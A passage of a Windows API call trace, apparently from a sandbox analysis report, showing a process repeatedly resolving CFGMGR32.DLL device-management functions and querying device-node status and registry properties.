returned 0x7ffb1ced9760 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.626] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.626] malloc (_Size=0x18) returned 0x20abc281e00 [0198.626] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0198.626] malloc (_Size=0x48) returned 0x20abc2a8d20 [0198.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3227f123, dwHighDateTime=0x1d9eb0c)) [0198.627] SetEvent (hEvent=0x248) returned 1 [0198.632] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.632] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.635] malloc (_Size=0x18) returned 0x20abc2819e0 [0198.635] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0198.635] malloc (_Size=0x48) returned 0x20abc2a82d0 [0198.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x322a50ae, dwHighDateTime=0x1d9eb0c)) [0198.635] SetEvent (hEvent=0x248) returned 1 [0198.638] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.638] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.638] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.638] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.641] malloc (_Size=0x18) returned 0x20abc281fa0 [0198.641] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.642] malloc (_Size=0x48) returned 0x20abc2a8640 [0198.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x322a50ae, dwHighDateTime=0x1d9eb0c)) [0198.642] SetEvent (hEvent=0x248) returned 1 [0198.739] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.739] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.743] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.743] malloc (_Size=0x18) returned 0x20abc281c20 [0198.743] CM_Get_Device_IDA (in: dnDevInst=0x1e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SPACEPORT\\0000") returned 0x0 [0198.743] malloc (_Size=0x48) returned 0x20abc27cb20 [0198.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3238a31a, dwHighDateTime=0x1d9eb0c)) [0198.743] SetEvent (hEvent=0x248) returned 1 [0198.748] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.748] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.752] malloc (_Size=0x18) returned 0x20abc281d20 [0198.752] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0198.752] malloc (_Size=0x20) returned 0x20abc2aa120 [0198.753] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8) returned 0x0 [0198.754] free (_Block=0x20abc2aa120) [0198.754] malloc (_Size=0x48) returned 0x20abc27cb20 [0198.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x323b0220, dwHighDateTime=0x1d9eb0c)) [0198.754] SetEvent (hEvent=0x248) returned 1 [0198.757] malloc (_Size=0x18) returned 0x20abc281ee0 [0198.757] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0198.757] free (_Block=0x20abc281ee0) [0198.758] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0198.758] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0198.758] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0198.758] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0198.758] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0198.758] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0198.758] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0198.758] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0198.758] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0198.759] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402170, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.760] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0198.760] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0198.761] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.761] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.765] malloc (_Size=0x18) returned 0x20abc281ae0 [0198.765] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0198.765] malloc (_Size=0x5e) returned 0x20abc2807d0 [0198.765] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0198.766] free (_Block=0x20abc2807d0) [0198.767] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x323d7453, dwHighDateTime=0x1d9eb0c)) [0198.767] SetEvent (hEvent=0x248) returned 1 [0198.770] malloc (_Size=0x18) returned 0x20abc281b00 [0198.770] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0198.770] free (_Block=0x20abc281b00) [0198.770] malloc (_Size=0x18) returned 0x20abc281ce0 [0198.770] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0198.770] free (_Block=0x20abc281ce0) [0198.771] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0198.771] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0198.771] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0198.771] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0198.771] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0198.771] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0198.771] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0198.771] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0198.771] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0198.772] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.772] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.773] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0198.773] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0198.774] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.774] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.778] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.778] malloc (_Size=0x18) returned 0x20abc281c40 [0198.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.985] malloc (_Size=0x48) returned 0x20abc27cb20 [0198.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x325ec392, dwHighDateTime=0x1d9eb0c)) [0198.986] SetEvent (hEvent=0x248) returned 1 [0198.987] SetEvent (hEvent=0x248) returned 1 [0198.987] free (_Block=0x20abc27cb20) [0198.988] 